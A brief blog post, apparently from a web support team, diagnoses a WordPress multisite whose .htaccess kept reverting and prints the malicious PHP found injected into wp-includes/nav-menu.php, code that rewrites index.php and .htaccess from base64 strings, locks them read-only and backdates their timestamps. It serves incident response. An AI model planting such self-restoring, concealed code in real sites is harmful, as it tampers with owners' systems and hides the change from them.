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.htaccess gets rewritten and permissions changed due to code injection

One of our client’s Multi-site website stopped displaying images suddenly. The WordPress installation’s .htaccess file was found over-rewritten to default code (non-multisite).

This is what a multi-site .htaccess should look like:

RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]

# uploaded files
RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L]

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ – [L]
RewriteRule . index.php [L]

 

Attempts to change the content of .htaccess file failed and every time the website was accessed the .htaccess changed to default and permissions of .htaccess were being changed from 644 to 444. After several hours of effort, we found  malware code inserted in the file wp-includes/nav-menu.php

The malware code below was changing the content of the .htaccess file and the permissions of the file:

function my_correct($dir) {
$time = 0;
$path = $dir . ‘/index.php';
$content = base64_decode(‘PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==’);
if (file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
$time = my_time($dir);
touch($path, $time);
}

$path = $dir . ‘/.htaccess';
$content = base64_decode(‘IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==’);
if (file_exists($path) AND file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
if (!$time) {
$time = my_time($dir);
}
touch($path, $time);
}
}

my_correct(dirname(__FILE__) . ‘/..’);

 

Solution: Replaced nav-menu.php file with a fresh one.

 

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